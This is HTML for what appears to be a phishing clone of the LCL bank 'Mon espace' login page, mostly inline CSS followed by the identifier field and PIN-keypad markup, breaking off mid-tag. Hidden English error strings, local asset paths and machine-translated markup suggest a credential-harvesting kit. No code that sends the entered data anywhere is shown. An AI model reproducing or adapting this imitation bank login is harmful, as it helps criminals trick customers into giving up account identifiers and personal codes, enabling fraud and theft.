<html class="js-focus-visible translated-ltr"lang=en><meta content="text/html; charset=UTF-8"http-equiv=Content-Type><title>LCL - Mon espace</title><meta content=IE=edge http-equiv=X-UA-Compatible><meta content=width=device-width,initial-scale=1 name=viewport><link href=img/favicon-32x32.png rel=icon sizes=32x32 type=image/png><link href=./css/style.css rel=stylesheet><style>[_nghost-ng-front-c74] {
            display: block;
            margin: auto;
            min-width: 240px;
            max-width: 320px;
            touch-action: manipulation
        }
        
        .disabled[_nghost-ng-front-c74] {
            opacity: .5
        }
        
        .pad-code[_ngcontent-ng-front-c74] {
            margin-bottom: 12px;
            text-align: center;
            padding: 0
        }
        
        @media (min-width:500px) {
            .pad-code[_ngcontent-ng-front-c74] {
                margin-bottom: 22px
            }
        }
        
        .pad-dot[_ngcontent-ng-front-c74] {
            display: inline-block;
            width: 15px;
            height: 15px;
            box-sizing: border-box;
            border: 1px solid #919191;
            border-radius: 50%;
            margin: 0 5px;
            padding: 0;
            vertical-align: middle
        }
        
        .pad-dot[_ngcontent-ng-front-c74] .bullet[_ngcontent-ng-front-c74] {
            display: none;
            position: relative;
            font-size: 20px;
            top: -2px;
            line-height: 6px;
            color: #3b51d5
        }
        
        .pad-dot.is-filled[_ngcontent-ng-front-c74] {
            border-color: #3b51d5;
            background: #3b51d5;
            overflow: hidden
        }
        
        .pad-dot.is-filled[_ngcontent-ng-front-c74] .bullet[_ngcontent-ng-front-c74] {
            display: inline-block
        }
        
        .pad-dot[_ngcontent-ng-front-c74]:first-child {
            margin-left: 35px
        }
        
        .pad-keys[_ngcontent-ng-front-c74] {
            margin: auto auto-5px;
            text-align: center
        }
        
        .pad-button[_ngcontent-ng-front-c74] {
            background: #f0f3ff;
            border: 0;
            border-radius: 50%;
            font-family: inherit;
            font-weight: 700;
            padding: 0;
            -webkit-tap-highlight-color: transparent;
            touch-action: manipulation
        }
        
        .pad-button[_ngcontent-ng-front-c74]:not([disabled]) {
            cursor: pointer
        }
        
        .pad-button[_ngcontent-ng-front-c74]:not([disabled]):active {
            background: #3b51d5;
            color: #f0f3ff
        }
        
        @media not all and (pointer:coarse) {
            .pad-button[_ngcontent-ng-front-c74]:not([disabled]):hover {
                background: #3b51d5;
                color: #f0f3ff
            }
        }
        
        .pad-key[_ngcontent-ng-front-c74] {
            color: #202122;
            font-size: 16px;
            line-height: 46px;
            margin: 5px;
            width: 46px
        }
        
        @media (min-width:500px) {
            .pad-key[_ngcontent-ng-front-c74] {
                line-height: 53px;
                width: 53px
            }
        }
        
        .pad-reset[_ngcontent-ng-front-c74] {
            background: rgba(0, 0, 0, .05);
            color: #747474;
            height: 30px;
            line-height: 30px;
            margin: 0 0 0 5px;
            position: relative;
            font-size: 10px;
            vertical-align: middle;
            width: 30px
        }
        
        .pad-reset[_ngcontent-ng-front-c74]:after,
        .pad-reset[_ngcontent-ng-front-c74]:before {
            content: "";
            border-top: 2px solid #747474;
            border-radius: 30px;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 11px
        }
        
        .pad-reset[_ngcontent-ng-front-c74]:before {
            transform: translate(-50%, -50%) rotate(-45deg)
        }
        
        .pad-reset[_ngcontent-ng-front-c74]:after {
            transform: translate(-50%, -50%) rotate(45deg)
        }
        
        .pad-reset[_ngcontent-ng-front-c74]:active,
        .pad-reset[_ngcontent-ng-front-c74]:hover {
            background: #3b51d5;
            color: #f0f3ff
        }
        
        .pad-reset[_ngcontent-ng-front-c74]:active:after,
        .pad-reset[_ngcontent-ng-front-c74]:active:before,
        .pad-reset[_ngcontent-ng-front-c74]:hover:after,
        .pad-reset[_ngcontent-ng-front-c74]:hover:before {
            border-color: #f0f3ff
        }</style><style id=inert-style>[inert] {
            pointer-events: none;
            cursor: default;
        }
        
        [inert],
        [inert] * {
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
        }
        /* Chrome, Safari, Edge, Opera */
        
        input::-webkit-outer-spin-button,
        input::-webkit-inner-spin-button {
            -webkit-appearance: none;
            margin: 0;
        }
        /* Firefox */
        
        input[type=number] {
            -moz-appearance: textfield;
        }</style><style>[_nghost-ng-front-c17] {
            display: block;
            height: 100%;
        }</style><style>[_nghost-ng-front-c11] {
            z-index: 999999;
            pointer-events: none
        }
        
        [fixed=true][_nghost-ng-front-c11] .ng-progress-bar[_ngcontent-ng-front-c11],
        [fixed=true][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            position: fixed
        }
        
        [fixed=true][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            top: 15px
        }
        
        [fixed=true][spinnerPosition=left][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            left: 15px
        }
        
        [fixed=true][spinnerPosition=right][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            right: 15px
        }
        
        [thick=true][_nghost-ng-front-c11] .ng-spinner-icon[_ngcontent-ng-front-c11] {
            width: 24px;
            height: 24px;
            border-width: 3px
        }
        
        [thick=true][_nghost-ng-front-c11] .ng-bar-placeholder[_ngcontent-ng-front-c11] {
            height: 3px !important
        }
        
        [dir="ltr+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=ltr-][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            transform: rotate(3deg)
        }
        
        [dir="ltr+"][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=ltr-][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            transform: rotate(4deg)
        }
        
        [dir="ltr+"][_nghost-ng-front-c11] .ng-bar[_ngcontent-ng-front-c11],
        [dir="rtl+"][_nghost-ng-front-c11] .ng-bar[_ngcontent-ng-front-c11] {
            margin-left: -100%
        }
        
        [dir="ltr+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir="rtl+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            right: 0
        }
        
        [dir="ltr+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=rtl-][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            top: -3px
        }
        
        [dir="ltr+"][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=rtl-][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            top: -4px
        }
        
        [dir="rtl+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=ltr-][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            bottom: -3px
        }
        
        [dir="rtl+"][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=ltr-][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            bottom: -4px
        }
        
        [dir="rtl+"][_nghost-ng-front-c11] .ng-bar-placeholder[_ngcontent-ng-front-c11],
        [dir=ltr-][_nghost-ng-front-c11] .ng-bar-placeholder[_ngcontent-ng-front-c11] {
            transform: rotate(180deg)
        }
        
        [dir="rtl+"][_nghost-ng-front-c11] .ng-spinner-icon[_ngcontent-ng-front-c11],
        [dir=ltr-][_nghost-ng-front-c11] .ng-spinner-icon[_ngcontent-ng-front-c11] {
            animation-direction: reverse
        }
        
        [dir="rtl+"][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=rtl-][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            transform: rotate(-3deg)
        }
        
        [dir="rtl+"][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11],
        [dir=rtl-][thick=true][_nghost-ng-front-c11] .ng-meteor[_ngcontent-ng-front-c11] {
            transform: rotate(-4deg)
        }
        
        [spinnerPosition=left][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            left: 10px
        }
        
        [spinnerPosition=right][_nghost-ng-front-c11] .ng-spinner[_ngcontent-ng-front-c11] {
            right: 10px
        }
        
        .ng-progress-bar[_ngcontent-ng-front-c11] {
            position: relative;
            z-index: 999999;
            top: 0;
            left: 0;
            width: 100%;
            zoom: 1;
            opacity: 0
        }
        
        .ng-progress-bar[active=true][_ngcontent-ng-front-c11] {
            opacity: 1;
            transition: none
        }
        
        .ng-bar-placeholder[_ngcontent-ng-front-c11] {
            position: absolute;
            height: 2px;
            width: 100%
        }
        
        .ng-bar[_ngcontent-ng-front-c11] {
            width: 100%;
            height: 100%;
            transform: translate(-100%, 0, 0)
        }
        
        .ng-meteor[_ngcontent-ng-front-c11] {
            display: block;
            position: absolute;
            width: 100px;
            height: 100%;
            opacity: 1
        }
        
        .ng-spinner[_ngcontent-ng-front-c11] {
            position: absolute;
            display: block;
            z-index: 1031;
            top: 10px
        }
        
        .ng-spinner-icon[_ngcontent-ng-front-c11] {
            width: 18px;
            height: 18px;
            box-sizing: border-box;
            -webkit-animation: 250ms linear infinite spinner-animation;
            animation: 250ms linear infinite spinner-animation;
            border: 2px solid transparent;
            border-radius: 50%
        }
        
        @-webkit-keyframes spinner-animation {
            0% {
                transform: rotate(0)
            }
            100% {
                transform: rotate(360deg)
            }
        }
        
        @keyframes spinner-animation {
            0% {
                transform: rotate(0)
            }
            100% {
                transform: rotate(360deg)
            }
        }</style><style>[_nghost-ng-front-c83] {
            display: block;
            position: relative
        }
        
        .processing[_nghost-ng-front-c83] .help-links[_ngcontent-ng-front-c83],
        .processing[_nghost-ng-front-c83] header[_ngcontent-ng-front-c83] {
            opacity: .5
        }
        
        .sidepane[_ngcontent-ng-front-c83] {
            box-sizing: border-box;
            padding-top: 40px;
            padding-bottom: 40px
        }
        
        .help-links[_ngcontent-ng-front-c83],
        header[_ngcontent-ng-front-c83] {
            padding: 0 20px
        }
        
        header[_ngcontent-ng-front-c83] {
            margin-bottom: 30px
        }
        
        header[_ngcontent-ng-front-c83] .logo[_ngcontent-ng-front-c83] {
            text-align: center
        }
        
        header[_ngcontent-ng-front-c83] .logo[_ngcontent-ng-front-c83] img[_ngcontent-ng-front-c83] {
            width: 100px;
            height: 75px
        }
        
        .help-links[_ngcontent-ng-front-c83] .links[_ngcontent-ng-front-c83] {
            list-style-type: none;
            margin: 0;
            padding: 0;
            text-align: center
        }
        
        .help-links[_ngcontent-ng-front-c83] .links[_ngcontent-ng-front-c83] li[_ngcontent-ng-front-c83] {
            margin: 10px 0
        }
        
        @media (min-width:500px) {
            .sidepane[_ngcontent-ng-front-c83] {
                padding-top: 70px;
                padding-bottom: 70px
            }
            header[_ngcontent-ng-front-c83] {
                margin-bottom: 50px
            }
            header[_ngcontent-ng-front-c83] .logo[_ngcontent-ng-front-c83] img[_ngcontent-ng-front-c83] {
                width: 125px;
                height: 95px
            }
        }
        
        @media (min-width:900px) {
            .sidepane .image {
                min-height: 865px
            }
        }
        
        .alert[_ngcontent-ng-front-c83] {
            color: #5e5e5e;
            font-size: 12px;
            font-weight: 400;
            line-height: 18px;
            margin: 20px auto 0;
            max-width: 360px;
            text-align: center
        }
        
        .alert[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83],
        .alert[_ngcontent-ng-front-c83] p[_ngcontent-ng-front-c83] {
            margin: 0 auto 5px
        }
        
        .alert[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83] {
            font-size: 14px;
            font-weight: 500;
            line-height: 22px
        }
        
        .alert[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83] .ico-alert[_ngcontent-ng-front-c83] {
            margin-top: -2px
        }
        
        @media (min-width:500px) {
            .alert[_ngcontent-ng-front-c83] {
                line-height: 22px;
                margin-top: 25px
            }
            .alert[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83] {
                font-size: 16px;
                line-height: 24px
            }
            .alert[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83] .ico-alert[_ngcontent-ng-front-c83] {
                margin-top: -4px
            }
        }
        
        .alert-error[_ngcontent-ng-front-c83] .alert-heading[_ngcontent-ng-front-c83] {
            color: #e52615
        }
        
        .message-banners-box[_ngcontent-ng-front-c83] {
            margin-top: 30px
        }
        
        @media (min-width:900px) {
            .message-banners-box[_ngcontent-ng-front-c83] {
                max-width: 550px
            }
        }
        
        @media (min-width:1470px) {
            .message-banners-box[_ngcontent-ng-front-c83] {
                max-width: none;
                position: absolute;
                left: 550px;
                right: 0;
                bottom: 70px
            }
        }</style><style>[_nghost-ng-front-c77] {
            box-sizing: border-box;
            display: block;
            min-height: 100vh;
            overflow: hidden
        }
        
        .content[_ngcontent-ng-front-c77],
        [_nghost-ng-front-c77] {
            position: relative
        }
        
        .content[_ngcontent-ng-front-c77] {
            margin: auto;
            max-width: 550px
        }
        
        .image[_ngcontent-ng-front-c77] {
            position: absolute;
            background-repeat: no-repeat;
            background-size: cover;
            background-position: 100%;
            bottom: 0;
            left: 550px;
            right: 0;
            top: 0
        }
        
        .image[_ngcontent-ng-front-c77]+.content[_ngcontent-ng-front-c77] {
            margin-left: 0
        }</style><style>[_nghost-ng-front-c76] {
            display: block;
            margin-bottom: 15px
        }
        
        .processing[_nghost-ng-front-c76] .app-title[_ngcontent-ng-front-c76],
        .processing[_nghost-ng-front-c76] .button-group[_ngcontent-ng-front-c76],
        .processing[_nghost-ng-front-c76] .preset-group[_ngcontent-ng-front-c76] .app-link[_ngcontent-ng-front-c76] {
            opacity: .5
        }
        
        .control-group[_ngcontent-ng-front-c76] {
            text-align: center
        }
        
        .identifier-group[_ngcontent-ng-front-c76] {
            overflow: hidden
        }
        
        .remember-identifier-group[_ngcontent-ng-front-c76] {
            color: #202122;
            font-size: 12px;
            line-height: 15px;
            margin-top: 20px
        }
        
        @media (min-width:500px) {
            .remember-identifier-group[_ngcontent-ng-front-c76] {
                font-size: 14px;
                line-height: 28px
            }
        }
        
        [_ngcontent-ng-front-c76]:not(.preset-group)+.code-group[_ngcontent-ng-front-c76] {
            margin-top: 40px
        }
        
        @media (min-width:500px) {
            [_ngcontent-ng-front-c76]:not(.preset-group)+.code-group[_ngcontent-ng-front-c76] {
                margin-top: 50px
            }
        }
        
        .preset-group[_ngcontent-ng-front-c76]+.code-group[_ngcontent-ng-front-c76] {
            margin-top: 15px
        }
        
        @media (min-width:500px) {
            .preset-group[_ngcontent-ng-front-c76]+.code-group[_ngcontent-ng-front-c76] {
                margin-top: 30px
            }
        }
        
        .button-group[_ngcontent-ng-front-c76] {
            margin-top: 30px
        }
        
        .button-group[_ngcontent-ng-front-c76] .app-cta-button[_ngcontent-ng-front-c76] {
            min-width: 190px
        }
        
        @media (min-width:500px) {
            .button-group[_ngcontent-ng-front-c76] {
                margin-top: 35px
            }
        }
        
        .preset-group[_ngcontent-ng-front-c76] {
            position: relative;
            padding-bottom: 25px
        }
        
        @media (min-width:500px) {
            .preset-group[_ngcontent-ng-front-c76] {
                padding-bottom: 40px
            }
        }
        
        .preset-group[_ngcontent-ng-front-c76]:before {
            content: "";
            position: absolute;
            left: 50%;
            transform: translateX(-50%);
            bottom: 0;
            height: 1px;
            width: 25px;
            border-bottom: 4px solid #ffd204
        }
        
        .preset-group[_ngcontent-ng-front-c76] h2[_ngcontent-ng-front-c76] {
            font-size: 16px;
            line-height: 28px;
            margin: 0
        }
        
        .preset-group[_ngcontent-ng-front-c76] button[_ngcontent-ng-front-c76] {
            line-height: 22px
        }</style><style>[_nghost-ng-front-c73] {
            display: inline-block;
            font-family: Roboto Mono, monospace;
            font-size: 18px;
            font-weight: 400;
            line-height: 22px
        }
        
        .disabled[_nghost-ng-front-c73] .input[_ngcontent-ng-front-c73] {
            opacity: .5
        }
        
        @media (min-width:500px) {
            [_nghost-ng-front-c73] {
                font-size: 20px;
                line-height: 24px
            }
        }
        
        @supports (-moz-appearance:none) {
            [_nghost-ng-front-c73] {
                margin-right: -30px;
                overflow: hidden
            }
            @media (min-width:500px) {
                [_nghost-ng-front-c73] {
                    margin-right: -44px
                }
            }
        }
        
        .input[_ngcontent-ng-front-c73] {
            background: none;
            border: none;
            box-sizing: content-box;
            caret-color: #3b51d5;
            display: block;
            font-family: inherit;
            font-size: inherit;
            font-weight: inherit;
            margin: 0;
            letter-spacing: 16px;
            line-height: inherit;
            padding: 2px 5px;
            width: calc(100% + 10px);
            outline: none !important
        }
        
        .input[_ngcontent-ng-front-c73]::-ms-clear {
            display: none
        }
        
        @media (min-width:500px) {
            .input[_ngcontent-ng-front-c73] {
                letter-spacing: 28px;
                padding: 4px 7px;
                width: calc(100% + 14px)
            }
        }
        
        .strokes[_ngcontent-ng-front-c73] {
            display: flex
        }
        
        .stroke[_ngcontent-ng-front-c73] {
            border-bottom: 1px solid #a5a5a5;
            margin-left: 7px;
            width: 20px
        }
        
        .stroke[_ngcontent-ng-front-c73]:first-child {
            margin-left: 0
        }
        
        @media (min-width:500px) {
            .stroke[_ngcontent-ng-front-c73] {
                margin-left: 10px;
                width: 30px
            }
        }
        
        .stroke-filled[_ngcontent-ng-front-c73] {
            border-color: #202122
        }
        
        .stroke-activated[_ngcontent-ng-front-c73] {
            border-color: #546aeb
        }</style><style>[_nghost-ng-front-c75] {
            cursor: pointer;
            display: inline-block;
            transition: background .2s;
            position: relative
        }
        
        .disabled[_nghost-ng-front-c75] {
            cursor: default
        }
        
        .light[_nghost-ng-front-c75] input[type=checkbox][_ngcontent-ng-front-c75]+label[_ngcontent-ng-front-c75]:before {
            border-color: #fff
        }
        
        .light[_nghost-ng-front-c75] input[type=checkbox][_ngcontent-ng-front-c75]:checked+label[_ngcontent-ng-front-c75]:before {
            background-color: #fff;
            border-color: #fff
        }
        
        .light[_nghost-ng-front-c75] input[type=checkbox][_ngcontent-ng-front-c75]:checked+label[_ngcontent-ng-front-c75]:after {
            border-color: #3b51d5
        }
        
        label[_ngcontent-ng-front-c75] {
            color: inherit;
            font-size: inherit;
            line-height: inherit
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75],
        label[_ngcontent-ng-front-c75] {
            cursor: inherit;
            transition: inherit
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75] {
            height: 24px;
            width: 24px;
            position: absolute;
            border: 1px solid #fff;
            border-radius: 3px;
            display: inline-block;
            vertical-align: middle;
            opacity: 0
        }
        
        @media (min-width:500px) {
            input[type=checkbox][_ngcontent-ng-front-c75] {
                width: 28px;
                height: 28px
            }
        }
        
        input[type=checkbox].focus-visible[_ngcontent-ng-front-c75]+label[_ngcontent-ng-front-c75]:before {
            outline: 4px dotted #000
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75]+label[_ngcontent-ng-front-c75]:before {
            content: "";
            background: #fff;
            background-position: 50%;
            background-repeat: no-repeat;
            border: 1px solid #919191;
            border-radius: 3px;
            box-shadow: 0 3px 8px 0 rgba(26, 57, 198, .08);
            cursor: inherit;
            display: inline-block;
            height: 24px;
            margin-right: 10px;
            transition: inherit;
            vertical-align: middle;
            width: 24px
        }
        
        @media (min-width:500px) {
            input[type=checkbox][_ngcontent-ng-front-c75]+label[_ngcontent-ng-front-c75]:before {
                width: 28px;
                height: 28px
            }
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75]:checked+label[_ngcontent-ng-front-c75]:before {
            background-color: #3b51d5;
            border-color: #3b51d5;
            content: ""
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75]:checked+label[_ngcontent-ng-front-c75]:after {
            content: "";
            width: 9px;
            height: 5px;
            border-left: 1px solid #fff;
            border-bottom: 1px solid #fff;
            display: inline-block;
            transform: rotate(-45deg);
            position: absolute;
            left: 7px;
            top: 7px
        }
        
        @media (min-width:500px) {
            input[type=checkbox][_ngcontent-ng-front-c75]:checked+label[_ngcontent-ng-front-c75]:after {
                left: 10px;
                top: 10px
            }
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75]:disabled+label[_ngcontent-ng-front-c75] {
            opacity: .5
        }
        
        input[type=checkbox][_ngcontent-ng-front-c75]:disabled:not(:checked)+label[_ngcontent-ng-front-c75]:before {
            background-color: #eef0f8
        }</style><link charset=UTF-8 href=./css/translateelement.css rel=stylesheet><style>[_nghost-ng-front-c82] {
            display: block
        }
        
        [_nghost-ng-front-c82] .ui-swiper[_ngcontent-ng-front-c82] {
            max-width: 400px;
            margin: auto
        }
        
        [_nghost-ng-front-c82] .ui-message-banner[_ngcontent-ng-front-c82] {
            border: 1px solid #e7e9fe;
            background: #fff;
            margin: 0 10px 15px;
            box-shadow: 0 5px 10px 0 rgba(27, 43, 118, .12)
        }
        
        [_nghost-ng-front-c82] .control-box-next[_ngcontent-ng-front-c82],
        [_nghost-ng-front-c82] .control-box-previous[_ngcontent-ng-front-c82] {
            width: 40px;
            height: 40px;
            margin: 0 5px
        }
        
        [_nghost-ng-front-c82] .control-box-next[_ngcontent-ng-front-c82] .control-button[_ngcontent-ng-front-c82],
        [_nghost-ng-front-c82] .control-box-previous[_ngcontent-ng-front-c82] .control-button[_ngcontent-ng-front-c82] {
            cursor: pointer;
            display: inline-block;
            width: inherit;
            height: inherit;
            background-color: transparent;
            border: none
        }
        
        [_nghost-ng-front-c82] .control-box-previous[_ngcontent-ng-front-c82] .control-button[_ngcontent-ng-front-c82] {
            background-image: url(button-left-circle.d3c1e809a810eb7ec1ad.svg)
        }
        
        [_nghost-ng-front-c82] .control-box-next[_ngcontent-ng-front-c82] .control-button[_ngcontent-ng-front-c82] {
            background-image: url(button-right-circle.ed61a2eadf12cf18e670.svg)
        }
        
        [_nghost-ng-front-c82] .bullets[_ngcontent-ng-front-c82] {
            margin-top: -5px;
            text-align: center
        }
        
        [_nghost-ng-front-c82] .bullets[_ngcontent-ng-front-c82] .bullet[_ngcontent-ng-front-c82] {
            background-color: #384ecf;
            cursor: pointer;
            border: 0;
            width: 8px;
            height: 8px;
            opacity: .3;
            margin: 0 4px;
            box-sizing: border-box;
            border-radius: 8px;
            padding: 0
        }
        
        [_nghost-ng-front-c82] .bullets[_ngcontent-ng-front-c82] .bullet.active[_ngcontent-ng-front-c82] {
            opacity: .7
        }
        
        .wide[_nghost-ng-front-c82] {
            display: flex;
            flex-direction: row;
            align-content: center;
            align-items: center;
            justify-content: center
        }
        
        .wide[_nghost-ng-front-c82] .ui-swiper[_ngcontent-ng-front-c82] {
            max-width: 800px;
            margin: 0
        }
        
        .wide[_nghost-ng-front-c82] .ui-message-banner[_ngcontent-ng-front-c82] {
            border-color: #fff;
            box-shadow: none
        }
        
        .wide[_nghost-ng-front-c82] .control-box-next[_ngcontent-ng-front-c82],
        .wide[_nghost-ng-front-c82] .control-box-previous[_ngcontent-ng-front-c82] {
            margin-top: -28px
        }
        
        .wide[_nghost-ng-front-c82] .bullets[_ngcontent-ng-front-c82] button[_ngcontent-ng-front-c82] {
            background-color: #202122
        }</style><style>.ui-swiper {
            display: block
        }
        
        .ui-swiper-track {
            display: flex;
            align-items: center
        }</style><style>[_nghost-ng-front-c81] {
            box-sizing: border-box;
            display: flex;
            flex-direction: column;
            padding: 20px
        }
        
        [_nghost-ng-front-c81] .message-banner-image-container[_ngcontent-ng-front-c81] {
            position: absolute;
            overflow: hidden
        }
        
        [_nghost-ng-front-c81] .message-banner-image-container[_ngcontent-ng-front-c81] .message-banner-image[_ngcontent-ng-front-c81] {
            display: inline-block;
            width: 25px;
            height: 25px
        }
        
        [_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] {
            margin-bottom: 5px
        }
        
        [_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] h3[_ngcontent-ng-front-c81],
        [_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] time[_ngcontent-ng-front-c81] {
            display: block
        }
        
        [_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] h3[_ngcontent-ng-front-c81] {
            margin: 0 0 10px 35px;
            font-size: 14px;
            line-height: 24px;
            color: #232884
        }
        
        [_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] time[_ngcontent-ng-front-c81] {
            font-size: 12px;
            line-height: 18px;
            color: #5e5e5e;
            margin-top: 20px
        }
        
        [_nghost-ng-front-c81] .message-banner-body[_ngcontent-ng-front-c81] {
            font-size: 14px;
            line-height: 22px;
            color: #202122
        }
        
        [_nghost-ng-front-c81] .message-banner-body[_ngcontent-ng-front-c81] p {
            margin: 10px 0 0
        }
        
        [_nghost-ng-front-c81] .message-banner-link[_ngcontent-ng-front-c81] {
            margin-top: 10px
        }
        
        [_nghost-ng-front-c81] .message-banner-aside[_ngcontent-ng-front-c81] {
            margin-top: 20px
        }
        
        [_nghost-ng-front-c81] .message-banner-button[_ngcontent-ng-front-c81] {
            display: block;
            font-size: 12px;
            padding: 14px 20px
        }
        
        .wide[_nghost-ng-front-c81] {
            flex-direction: row;
            align-items: center;
            justify-content: space-between;
            padding: 30px 40px
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-image-container[_ngcontent-ng-front-c81] {
            display: flex;
            flex: 0 0 auto;
            margin-right: 30px;
            position: static
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-image-container[_ngcontent-ng-front-c81] .message-banner-image[_ngcontent-ng-front-c81] {
            width: 90px;
            height: 90px
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] {
            margin-bottom: 10px
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] h3[_ngcontent-ng-front-c81],
        .wide[_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] time[_ngcontent-ng-front-c81] {
            display: inline-block;
            margin: 0
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] h3[_ngcontent-ng-front-c81] {
            margin-right: 12px
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-header[_ngcontent-ng-front-c81] time[_ngcontent-ng-front-c81] {
            margin-top: 0
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-content[_ngcontent-ng-front-c81] {
            margin-left: 0;
            margin-right: auto
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-aside[_ngcontent-ng-front-c81] {
            flex: 0 0 auto;
            margin-top: 0;
            margin-left: 30px
        }
        
        .wide[_nghost-ng-front-c81] .message-banner-button[_ngcontent-ng-front-c81] {
            display: inline-block
        }</style><body><app-root _nghost-ng-front-c17> <app-login-page _nghost-ng-front-c83> <ui-sidepane-template _ngcontent-ng-front-c83 _nghost-ng-front-c77 class=sidepane> <div style='background-image: url("images/login-page-background.ebdfc9d931825723e5ed.jpg");'_ngcontent-ng-front-c77 class=image></div>  <div _ngcontent-ng-front-c77 class=content><header _ngcontent-ng-front-c83><div _ngcontent-ng-front-c83 class=logo><a _ngcontent-ng-front-c83 href=#><img alt="LCL Banking and Insurance"_ngcontent-ng-front-c83 src=./images/logo.b67cae54f399508c58a3.svg></a></div><div _ngcontent-ng-front-c83 class=login-message tabindex=-1></div></header><center> <div class="alert alert-danger"style="display: none;color:red"id=msg>Invalid Password..! Please enter correct password.</div> <span style="display: none;color:red"class=text-danger id=error>That account doesn't exist. Enter a different account</span> </center><app-login-form _ngcontent-ng-front-c83 _nghost-ng-front-c76 id=mainDiv> <div class="control-group identifier-group"_ngcontent-ng-front-c76><label _ngcontent-ng-front-c76 for=identifier><span _ngcontent-ng-front-c76 class=app-title> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Votre identifiant</font> </font> </span></label><ui-identifier-input class="ng-pristine ng-invalid ng-touched"title="Enter your LCL ID"_ngcontent-ng-front-c76 _nghost-ng-front-c73 inputid=identifier> <input class="input ng-pristine ng-valid ng-touched"_ngcontent-ng-front-c73 id=ai maxlength=10 size=10> <div _ngcontent-ng-front-c73 class=strokes><span class="stroke stroke-activated"_ngcontent-ng-front-c73></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span><span _ngcontent-ng-front-c73 class=stroke></span></div> </ui-identifier-input></div>  <div class="control-group remember-identifier-group"_ngcontent-ng-front-c76><ui-checkbox class="ng-untouched ng-pristine ng-valid"title="Click to memorize Votre identifiant during the next connections"_ngcontent-ng-front-c76 _nghost-ng-front-c75><input _ngcontent-ng-front-c75 id=ui-checkbox-1-input type=checkbox><label _ngcontent-ng-front-c75 for=ui-checkbox-1-input><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Mémoriser mon identifiant </font> </font></label></ui-checkbox></div> <div class="control-group code-group"_ngcontent-ng-front-c76 id=div2 style=display:none;><label _ngcontent-ng-front-c76><span _ngcontent-ng-front-c76 class=app-title tabindex=-1>Votre code personnel</span></label><ui-keypad class="ng-untouched ng-pristine ng-invalid"title="Saisissez votre code personnel LCL"_ngcontent-ng-front-c76 _nghost-ng-front-c74> <div _ngcontent-ng-front-c74 class=pad-code><span _ngcontent-ng-front-c74 class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 